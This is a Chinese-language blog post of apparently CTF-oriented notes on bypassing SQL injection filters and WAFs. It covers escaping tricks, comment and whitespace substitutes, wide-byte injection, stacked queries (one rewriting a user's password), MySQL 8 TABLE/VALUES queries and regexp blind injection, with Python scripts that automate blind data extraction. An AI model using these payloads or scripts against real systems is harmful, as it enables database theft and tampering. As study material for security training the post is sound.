R0ot's Blog

分享代码,记录生活

0%

SQL注入2.0

过滤绕过

  1. 过滤原理
    经过前段时间的学习,已经可以通过一些方法去查询想要的数据,但一些网站会对一些关键字符进行过滤,也就是说输入进去的字符没法正常的进入到查询语句里.例如preg_replace(参数1,参数2,参数3)函数,会将参数三进行检测,如果发现参数1,则替换为参数2,而对关键字符进行替换删除

  2. 绕过原理
    将被绕过的字符换成另一种表达方式,从而实现绕过过滤

  3. 如何判断页面过滤对象
    从简单的注入语句开始,一步步增加复杂性,通过此方法判断过滤对象

引号绕过

正常情况下,如果引号被严格的过滤了,这题只有两种可能,一是这题采用的是数字型,根本不需要闭合,这时候可以试着直接打,二是这道题可能不是sql注入
但是下面是遇到的一种特殊情况,使用反斜线\转义引号
比如这样的一个sql语句select * from users where username='' and passwd=''
如果传入?username=\&passwd=#相当于 select * from users where username=’' and passwd=‘ #’
前面一个引号被转义,后面一个引号被注释,这样就又实现了闭合
前提是语句中至少要有两个参数吧,要是一个参数转义掉了一个还是无法闭合

注释符绕过

  1. 常见的注释
    --+ # %23建议先尝试这三种,都失效了再尝试其他
    url里好像不能直接用#,要使用%23

  2. 绕过手法
    ,'3最后一个单引号实现闭合,3可以换成任意数字,这种适用于union查询
    可以将查询写成这样的形式
    union select 1,(查询语句),3,4'
    这样一来最后的数字可以带一个单引号实现闭合

    注释符失效的情况下,可以参考注入编码的方式,用类似于and '1' ='1(或者or '1'='1)这样的语句对后面的内容实现闭合
    注意:这种方式闭合可能导致order by,group by失效,原因可能是语句还在where中(where id=''order by and '1'='1')

  3. 更新
    好像使用%00截断也能实现注释,抓包后加入%00即可,但是截断好像和注释不一样的是,会把sql语句最后的;也给截断,所以需要在前面加上;,最后变成?passwd=' order by 3;%00

    另外就是,在python直接写%00,会导致%00被转义而失去作用,我们用parse.unquote('%00')表示不进行转义的%00

and和or绕过

  1. 绕过手法
    1. 使用大小写绕过
      因为SQL语句不区分大小写,可以故意写错成类似于AnD,anD,oR这样的形式来绕过过滤检测
    2. 复写过滤字符
      如果过滤的方式是检测到关键字符就删除,可以采用复写的方式绕过anandd,将关键词删除后又成为了关键词
    3. 用符号代替
      可以用&&代替and,用||代替or,但是用get提交可能会失效,要使用URL编码(%26=$)(%7C=|)
    4. 注意
      如果语句过滤了and和or,单词里的也会收到影响(复写一下),如information

等于号绕过

  1. 等于号被过滤了可以采用like进行绕过,如果空格也被过滤了,可以在两边加上扩号

空格绕过

  1. 使用+,%20号代替空格
  2. 使用URL编码绕过空格
    \**\ %09 %0A %0B %0C %0D %A0
  3. 使用报错注入
    原因:报错注入语法里没有空格,查询语句中的空格全部用括号代替
    and 1=extractvalue(100,concat(0x7e,(插入以下语句)))
    查表名:
    1
    select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())
    查列名:
    1
    select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='上一步爆破出来的表名')
    查数据:
    1
    select(group_concat(爆破字段1,爆破字段2))from(爆破出来的表名)
    显示不全用下面这个
    1
    select(substring(group_concat(爆破字段1,爆破字段2),1,30))from(爆破出的表名)
  4. 注意:sqli-libs第26关同时过滤了注释符,and和or,空格,要结合以上方法来做

substring过滤

  1. right(字段,位数)从位数开始向右显示
    left(字段,位数)从位数开始向左显示
    例:select (right(爆破字段1,30)) from (爆破出的表名)
    从第三十个开始向左显示

union和select过滤

其实思路和and和or过滤差不多,利用大小写组合,复写,等方式绕过

逗号过滤Join绕过

一般用到逗号的地方只有union select 1,2,3(列数必须一致),还有select group_concat(爆破字段1,爆破字段2) from 爆破出来的表名

  1. 爆破字段可以分开查询
  2. union列数必须保持一致,这时候利用join
    union select 1,2,3=union select * from (select 1)a join (select 2)b join (select 3)c
    注意:a,b,c是取得别名,将查询语句写入括号内,用jion关联

char()函数

可以将函数内的十进制数字转化为ascii编码对应字符
如char(117,115,101,114,115)=’users’
在爆破字段名时可以绕过引号

addslashes过滤宽字节绕过

  1. adddslashes()函数
    可以在输入的预定义字符(单引号' 双引号" 反斜线\ NULL字符)前自动添加转义字符\,这样一来,注入语句中的符号就会被转义成这个字符本身,无法构成闭合
  2. 条件:
    想要使用宽字节绕过,必须采用的是GBK编码
  3. 原理:
    在预定义字符前加上%df,这样一来%df会和自动添加的\组合,被识别成SQL无法理解的汉字,从而使\失去转义功能
  4. 使用汉字
    有些汉字是三个字节的编码,代替%df时,可以前两个字节为一组,后两个字节为一组,从而过滤掉反斜杆,例如汉' or 1=1 #

二次注入

  1. 原理
    在一些情况下,使用了addslashes()等函数对用户输入的特殊字符进行了转义,但是对于这些数据,在写入到数据库时,还是保留了原来的数据,在保存到数据库的数据,就被认为是可信的,再下一次需要查询时,没有再次进行检验,就会造成二次注入.
    大多出现在一些需要注册和登入的情况下
  2. 流程
    1. 需要构造含有转义字符的恶意查询语句
    2. 需有一处可以进行恶意数据的插入(比如注册)
    3. 需要另一处引用了这个数据的操作(比如登入)

堆叠注入

  1. 原理
    mysql_multi_query()函数执行一个或多个数据库的查询,其中用逗号进行分割.如果代码中用到这个函数,很有可能产生堆叠注入,所谓的堆叠注入,其实就是一堆sql语句一起注入执行,这对安全的危害是十分巨大的,如果产生堆叠注入,用户可能可以通过语句对数据的数据进行修改,增加,甚至删除

  2. 写法id = 1';update users set password=123 where id=1;
    查询id=1的数据,并将users表里的id=1的用户密码修改成123,引号是为了将前面的数据闭合

  3. 用处
    一般select被过滤的情况下,常规注入全都无可奈何了,这时候可以尝试堆叠注入,堆叠注入可以利用其他命令来达成获取数据

    1. 使用show查 库名,表名,字段名
      爆数据库名:show databases
      爆表名show tables
      爆字段名show columns from 表名

    2. 使用16进制编码绕过
      先看payload
      1';SET@a=十六进制编码后的命令;prepare execsql from @a;execute execsql;#
      解释
      set@a是设置一个变量a储存编码后的命令(如select * from 表名)
      prepare execsql from @a是预处理语句,会将a进行编码转化,储存在execsql中
      execute execsql EXECUTE语句是SQL中的一个语句,它用于执行Transact-SQL批处理中的命令字符串
      转化16进制的网站(记得前面加个0x)
      或者用python脚本跑一下

      1
      2
      3
      4
      5
      6
      7
      def string_to_hex(s):
      return ''.join([hex(ord(c)).replace('0x', '') for c in s])

      input_string ="select * from `1919810931114514`"
      hex_string = string_to_hex(input_string)
      print( "0x"+hex_string)

    3. handler处理程序

      1
      2
      3
      4
      5
      6
      7
      HANDLER是MySQL中的一个语句,它提供了对表存储引擎接口的直接访问。它可用于InnoDB和MyISAM表。HANDLER语句有多种形式,包括HANDLER ... OPEN、HANDLER ... READ和HANDLER ... CLOSE等。

      HANDLER ... OPEN语句用于打开一个表,使其能够使用后续的HANDLER ... READ语句进行访问。这个表对象不会被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭。

      HANDLER ... READ语句用于从表中读取数据。它有多种形式,可以根据索引、索引顺序或自然行顺序来读取数据。

      HANDLER ... CLOSE语句用于关闭使用HANDLER ... OPEN打开的表。

      看一下payload(as a是取别名):

      1
      1'; handler `表名` open as `a`; handler `a` read next;#

waf绕过

在已经确定有waf(防火墙)的情况下,不要一步输入所有指令,而是一步步添加,发现哪个指令被拦截,就绕过哪个指令
一般有以下几种情况

  1. 某个特殊字符后面不能接一些字符,否则报错
  2. 几个特殊字符后面不能接一些字符,否则报错
  3. 不能出现一些特殊字符,否则报错

注释

  1. 原理:
    某个特殊字符后面不能接一些字符,否则报错,如selectunion,这两个放在一起会被过滤,这时候在中间插入注释符混淆,如/*!90000 */,让防火墙误以为里面内容也是要执行,实际上在mysql里会被注释,从而实现绕过
  2. --+,#
  3. /* */
    在sql里,/* */里的内容将会被注释,不做执行
  4. /*! */
    这是mysql的扩张解释,如果在前面的星号后面加上感叹号!,那么注释里的内容又会被执行
  5. /*!50000 */
    表示mysql是5.00.00以上的版本时,注释符里的内容才会被执行,可以将感叹号后面的数字改成一个很大的不存在的版本,这样注释里的语句就不会执行

空白符

原理:在关键字符中插入,一个注释符后面加上一个任意字符和换行符,如select --+a%0A union让防火墙误以为select后面是字符a,实际上a被注释后换行,union不受影响

and和or替换

  1. &&||进行替换
  2. 使用异或
    简单来说异或就是同真同假为0,不同为1
    ?id=1^1^0 可以替换?id=1 and 1=2的功能
    ?id=1^1^1 可以替换?id=1 and 1=1的功能
    注意,布尔盲注也可以用异或来代替and,在if()被禁用时,似乎是个不错的选择(闭合为整数型)
    ?id=1^1^(ascii(substr((select(database())),1,1))>100)
  3. 使用真假判断
    ?id=1 && ture 如果过滤了and后面接数字的情况,可以替换?id=1 and 1=1的功能
    ?id=1 && false 如果过滤了and后面接数字的情况,可以替换?id=1 and 1=2的功能

group by替换order by

order by在很多情况下更好用,但是相对防火墙的限制也更严格

information_schema.tables替换

如果 information_schema被过滤了的话,里面有两个关键数据表就无法读取tablescolumns

  1. table_schema不变
    sys.schema_table_statistics_with_buffer
    sys.x$ps_schema_table_statistics_io

  2. table_schema替换成database_name
    mysql.innodb_table_stats mysql.innodb_table_index

join法获取列名(information_schema.columns替换)

  1. 前提:页面必须存在报错回显
  2. 语法
    union select * from(select*from 爆出的表名 as a join 同一个表名 as b)c
    这时候会显示出第一个表名,使用using()函数逐渐加入爆出来的字段,获得下一个字段
    union select * from(select*from 爆出的表名 as a join 同一个表名 as b using(第一个列名,第二个列名...))c

无列名注入

  1. 获取数据
    1
    union select 1,(select group_concat(b) from (select 1,2,3 as b union select * from 爆破出的表名)k),3
  2. 原理
    和之前的密码绕过一样,这里利用到的是union查询时会将两张表中的数据合并创建虚拟表的特性
    select 1,2,3 as b union select * from 爆破出的表名
    这句话的作用就是创建一个如下的虚拟表
    1
    2
    3
    4
    5
    6
    7
    8
    9
    +----+--------+---------+
    | 1 | 2 | 3别名(b)|
    +----+--------+---------+
    | 1 | 2 | 3 |
    | 1 | zzzz | mmmm |
    | 2 | admin | admin |
    | 3 | admin1 | admin1 |
    +----+--------+---------+
    可以发现这样一来已经不需要知道原来的表名了,只需要把这个当做新表查询即可
    因为是新创建的表写在前面,原来的表写在后面,如果反过来,是不是就是在原来的表中增加数据了呢,就可以实现密码绕过了
  3. 注意
    select 1,2,3 as b需要逐步尝试列数,as是取别名,最后用取的别名来代替原来的名称

mysql 8.0+ select绕过

  1. 适用于什么情况
    如果select关键词被完全过滤,且不存在堆叠注入的情况下,一般情况下是无法进行SQL注入的
    但是mysql 8.0.19的版本增加了一些新特性,可以利用这些新语法在不使用select的情况下也能进行查询

  2. TABLE
    table列出表的所有内容,类似于SELECT,支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。
    TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
    需要注意的是 1. table始终显示表的所有列(table user=select * from user) 2. 不允许有WHERE子句

  3. VALUES
    VALUES列出一行的值。
    ROW()返回的是一个行数据,VALUES和ROW()配合使用,返回的行数据加上字段整理为一个表
    我们可以利用这个特性用values来判断当前语句表列数以及是否有回显
    union values row(1,2,3,...)#
    如果原表中的列数与row()中的数字数不同时,就会报错

  4. 盲注
    由上面的知识可以知道,table查询的表代表的是所有列,如果要使用table进行union联合查询的话,必须要table查询的表和原来语句中的表的列数是相同的,不能像select联合查询那么自由,所以很多时候,我们只能用盲注来获取想要的数据
    学到的一种新的无列名盲注
    or (1,'Tom','123') <= (table user limit 0,1)#
    实质上这个语句是table user limit 0,1查询user表中的第一行,与另一个我们自己列出的数据进行大于等于<=的比较,比较顺序为自左向右(一个字符一个字符比较),第一列(也就是第一个引号内的数据'Tom')判断正确再判断第二列(也就是第二个引号内'123')。
    ps:当然这个例子中实际上的第一列应该是id,整数型的1,一般情况下都是如此
    采用这种方式进行比较盲注的话,列数就可以由自己控制了,我们只需要一个字符一个字符,一列一列的慢慢进行比较即可盲注出结果(前提是可以盲注)
    给个python脚本,虽然写的比较烂,这个是POST脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import requests
    url = '网址'
    table = "" # 储存数据
    flag='' #真值条件
    left = 0
    right = 150
    mid = (left + right) // 2
    while (left < right):
    a=chr(mid)
    date = {
    "password": "admin",
    # post要提交的pyload,每次输出的结果都要手动再加上去,才能判断下一个,每次判断的数据就是{a}的位置,判断完了第一行再把limit的数值改改
    "username": f"a'or 1=((1,'{a}','') <= (table 要查询的表 limit 0,1))#"
    }
    if flag in requests.post(url=url, data=date).text: #二分法判断
    left = mid+1
    else:
    right = mid
    mid = (left + right) // 2
    table = chr(mid-1)
    print(table) #打印出来的最后一个字符才是表中的字符

    GET脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    import requests
    url = '网址'
    table = "" # 储存数据
    flag = '' # 真值条件
    bihe = "?id=1'" # 判断闭合方式
    left = 0
    right = 150
    mid = (left + right) // 2
    while (left < right):
    a = chr(mid)
    # get提交的pyload,每次输出的结果都要手动再加上去,才能判断下一个,每次判断的数据就是{a}的位置,判断完了第一行再把limit的数值改改
    payload = f"or 1=((1,'{a}','') <= (table 要查询的表 limit 0,1))%23"
    new_url = url + bihe + payload
    if flag in requests.get(url=url).text: # 注意,这里要判断基本延迟
    left = mid + 1
    else:
    right = mid
    mid = (left + right) // 2
    table = chr(mid - 1)
    print(table) #打印出来的最后一个字符才是表中的字符
  5. 注意注意!!!
    盲注这个方法不知道是因为我的题目环境原因还是因为mysql本身的原因,表中的有些字符是无法进行大小的比较的,所有也就无法成功盲注出结果
    比如坑死我的admin_pass,_字符无法进行比较,所以跑不出来_,暂时还不知道怎么解决,可能这种情况就不适用与盲注

  6. 6.10更新
    经过一段时间的学习,加深了对这方面的理解,这种比较方式可以用于无列名注入,由于mysql是不区分大小写的,所以比较字符也无法确定大小写,但是之前遇到的特殊字符无法比较的问题,发现可以使用16进制进行比较,这样特殊字符也可以比较大小,于是重新写了个脚本,顺便加强了自动化,不需要手动一个字符一个字符添加

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    import requests
    import time

    def str_hex(s): # 十六进制转换 fl ==> 0x666c
    res = ''
    for i in s:
    res += hex(ord(i)).replace('0x', '')
    res = '0x' + res
    return res

    url = '网址'
    table = "" # 储存数据
    flag='Nu1L' #真值条件
    while(1):
    left = 0
    right = 150
    mid = (left + right) // 2
    while (left < right):
    a=table+chr(mid)
    date = {
    "id":f"0^((1,{str_hex(a)}) <= (select * from f1ag_1s_h3r3_hhhhh))#" #十六进制比较不用引号
    }
    if flag in requests.post(url=url, data=date).text: #二分法判断
    left = mid+1
    else:
    right = mid
    mid = (left + right) // 2
    table += chr(mid-1)
    print(table)
    time.sleep(0.3) #做个短暂延迟,有时候请求太快会报错

正则盲注绕过(regexp注入)

regexp是sql里的正则匹配表达式
在mysql中可以使用类似于下面的语句进行查询
select * from use where passwd regexp "^y"
这段语句的作用是查询use表中的passwd字段的内容是否有y开头,如果有则返回数据,无则不返回
可以采用这个方式进行盲注,逐渐爆破数据,添加在正则表达式中即可
select * from use where passwd regexp "^yo"

使用python盲注跑脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
from urllib import parse

url = '网址'
table = "" # 储存数据
flag='' #真值条件
for i in range(1, 1000):
print(i)
for i in range(31,129):
if(i==42 or i==63 or i==43): #过滤*,?,+可能被当成通配符解析,引起错误
continue
a=table+chr(i)
date = {
'passwd':f'||passwd/**/regexp/**/"^{a}";{parse.unquote("%00")}',
'username':'\\'
}
#print(requests.post(url=url, data=date).text)
if flag in requests.post(url=url, data=date).text:
table += chr(i)
print(table)
break

超大数据包post绕过

有些waf只检查前面的n个字符,这时候我们可以在查询语句中插入一个超大的无用数据,并用/* */注释掉,注意,这种方式只适用于post传参,如果不确定需要多少字符才能绕过waf,也可以写个python脚本跑一下

分块传输绕过

bp下载一个插件